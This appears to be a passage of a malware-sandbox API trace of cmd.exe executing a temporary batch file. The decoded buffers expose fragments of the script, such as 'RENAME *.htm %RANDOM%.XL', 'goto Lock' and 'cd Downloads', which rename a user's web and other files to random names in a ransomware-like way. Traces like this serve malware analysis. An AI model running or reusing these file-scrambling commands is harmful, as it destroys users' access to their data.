lpDistanceToMoveHigh=0x0) returned 0x6c9 [0038.250] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.250] SetFilePointer (in: hFile=0x74, lDistanceToMove=1739, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6cb [0038.251] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.251] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.251] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6cb [0038.251] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.251] GetFileType (hFile=0x74) returned 0x1 [0038.251] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6cb [0038.251] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.251] SetFilePointer (in: hFile=0x74, lDistanceToMove=1745, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d1 [0038.251] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":htm\r\nock\r\n") returned 6 [0038.251] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.251] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d1 [0038.251] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.251] GetFileType (hFile=0x74) returned 0x1 [0038.251] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d1 [0038.251] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.251] SetFilePointer (in: hFile=0x74, lDistanceToMove=1747, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d3 [0038.251] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntm\r\n") returned 2 [0038.251] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.251] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d3 [0038.251] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.251] GetFileType (hFile=0x74) returned 0x1 [0038.251] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d3 [0038.252] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.252] SetFilePointer (in: hFile=0x74, lDistanceToMove=1773, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ed [0038.252] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.htm %RANDOM%.XL\r\n") returned 26 [0038.252] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.252] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6ed [0038.252] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.252] GetFileType (hFile=0x74) returned 0x1 [0038.252] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6ed [0038.252] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.252] SetFilePointer (in: hFile=0x74, lDistanceToMove=1784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f8 [0038.252] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nm %RANDOM%.XL\r\n") returned 11 [0038.252] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.252] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6f8 [0038.252] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.252] GetFileType (hFile=0x74) returned 0x1 [0038.252] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6f8 [0038.252] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.252] SetFilePointer (in: hFile=0x74, lDistanceToMove=1786, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6fa [0038.253] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.253] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.253] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6fa [0038.253] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.253] GetFileType (hFile=0x74) returned 0x1 [0038.253] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6fa [0038.253] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.253] SetFilePointer (in: hFile=0x74, lDistanceToMove=1793, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x701 [0038.253] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":html\r\nck\r\n") returned 7 [0038.253] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.253] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x701 [0038.253] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.253] GetFileType (hFile=0x74) returned 0x1 [0038.253] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x701 [0038.253] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.253] SetFilePointer (in: hFile=0x74, lDistanceToMove=1795, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x703 [0038.253] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntml\r\n") returned 2 [0038.253] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.253] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x703 [0038.254] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.254] GetFileType (hFile=0x74) returned 0x1 [0038.254] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x703 [0038.254] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.254] SetFilePointer (in: hFile=0x74, lDistanceToMove=1822, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x71e [0038.254] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.html %RANDOM%.XL\r\n") returned 27 [0038.254] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.254] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x71e [0038.254] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.254] GetFileType (hFile=0x74) returned 0x1 [0038.254] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x71e [0038.254] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.254] SetFilePointer (in: hFile=0x74, lDistanceToMove=1833, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x729 [0038.254] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nml %RANDOM%.XL\r\n") returned 11 [0038.254] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.254] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x729 [0038.254] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.254] GetFileType (hFile=0x74) returned 0x1 [0038.255] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x729 [0038.255] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.255] SetFilePointer (in: hFile=0x74, lDistanceToMove=1839, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x72f [0038.255] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":Ran\r\nock\r\n") returned 6 [0038.255] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.255] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x72f [0038.255] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.255] GetFileType (hFile=0x74) returned 0x1 [0038.255] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x72f [0038.255] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.255] SetFilePointer (in: hFile=0x74, lDistanceToMove=1845, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x735 [0038.255] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cd..\r\n") returned 6 [0038.255] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.255] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x735 [0038.255] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.255] GetFileType (hFile=0x74) returned 0x1 [0038.255] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x735 [0038.255] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.255] SetFilePointer (in: hFile=0x74, lDistanceToMove=1859, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x743 [0038.255] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=14, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cd Downloads\r\n%RANDOM%.XL\r\n") returned 14 [0038.255] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.255] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x743 [0038.256] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.256] GetFileType (hFile=0x74) returned 0x1 [0038.256] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x743 [0038.256] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.256] SetFilePointer (in: hFile=0x74, lDistanceToMove=1861, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x745 [0038.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n Downloads\r\n") returned 2 [0038.256] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.256] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x745 [0038.256] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.256] GetFileType (hFile=0x74) returned 0x1 [0038.256] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x745 [0038.256] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.256] SetFilePointer (in: hFile=0x74, lDistanceToMove=1868, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74c [0038.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":Lock\r\nloads\r\n") returned 7 [0038.256] _close (_FileHandle=3) returned 0 [0038.256] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.256] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.257] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.257] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.257] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.257] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.257] SetConsoleInputExeNameW () returned 0x1 [0038.257] GetConsoleOutputCP () returned 0x1b5 [0038.257] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.257] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.258] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.258] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.258] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.258] SetFilePointer (in: hFile=0x74, lDistanceToMove=1868, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74c [0038.258] GetProcessHeap () returned 0x4e0000 [0038.258] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0038.258] GetProcessHeap () returned 0x4e0000 [0038.258] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.258] GetProcessHeap () returned 0x4e0000 [0038.258] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.258] GetProcessHeap () returned 0x4e0000 [0038.258] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.258] GetProcessHeap () returned 0x4e0000 [0038.258] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.258] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.258] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x74c [0038.258] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ee1, lpOverlapped=0x0) returned 1 [0038.258] SetFilePointer (in: hFile=0x74, lDistanceToMove=1870, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74e [0038.258] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\nto Lock\r\ng %RANDOM%.XL\r\n\n") returned 2 [0038.258] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.258] GetFileType (hFile=0x74) returned 0x1 [0038.259] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.259] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x74e [0038.259] GetProcessHeap () returned 0x4e0000 [0038.259] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.259] GetProcessHeap () returned 0x4e0000 [0038.259] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.259] _tell (_FileHandle=3) returned 1870 [0038.259] _close (_FileHandle=3) returned 0 [0038.259] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.259] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.259] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.259] SetFilePointer (in: hFile=0x74, lDistanceToMove=1870, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74e [0038.259] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.259] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x74e [0038.259] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1edf, lpOverlapped=0x0) returned 1 [0038.259] SetFilePointer (in: hFile=0x74, lDistanceToMove=1895, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x767 [0038.259] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.zip goto zip\r\n\n\n") returned 25 [0038.259] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.259] GetFileType (hFile=0x74) returned 0x1 [0038.260] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.260] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x767 [0038.260] GetProcessHeap () returned 0x4e0000 [0038.260] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.260] GetProcessHeap () returned 0x4e0000 [0038.260] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.260] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.260] GetProcessHeap () returned 0x4e0000 [0038.260] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.260] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.260] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.260] GetProcessHeap () returned 0x4e0000 [0038.260] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.260] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.260] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.260] GetProcessHeap () returned 0x4e0000 [0038.260] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.260] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.260] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.260] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.260] GetProcessHeap () returned 0x4e0000 [0038.260] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.260] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.260] GetProcessHeap () returned 0x4e0000 [0038.260] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.260] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.260] GetProcessHeap () returned 0x4e0000 [0038.261] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.261] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.261] _tell (_FileHandle=3) returned 1895 [0038.261] _close (_FileHandle=3) returned 0 [0038.261] GetFullPathNameW (in: lpFileName="*.zip", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", lpFilePart=0x41eea8*="*.zip") returned 0x2b [0038.261] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.261] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.262] GetLastError () returned 0x2 [0038.262] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.262] GetLastError () returned 0x6 [0038.262] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.262] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.262] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.262] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.262] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.262] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.262] SetConsoleInputExeNameW () returned 0x1 [0038.262] GetConsoleOutputCP () returned 0x1b5 [0038.263] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.263] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.263] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, 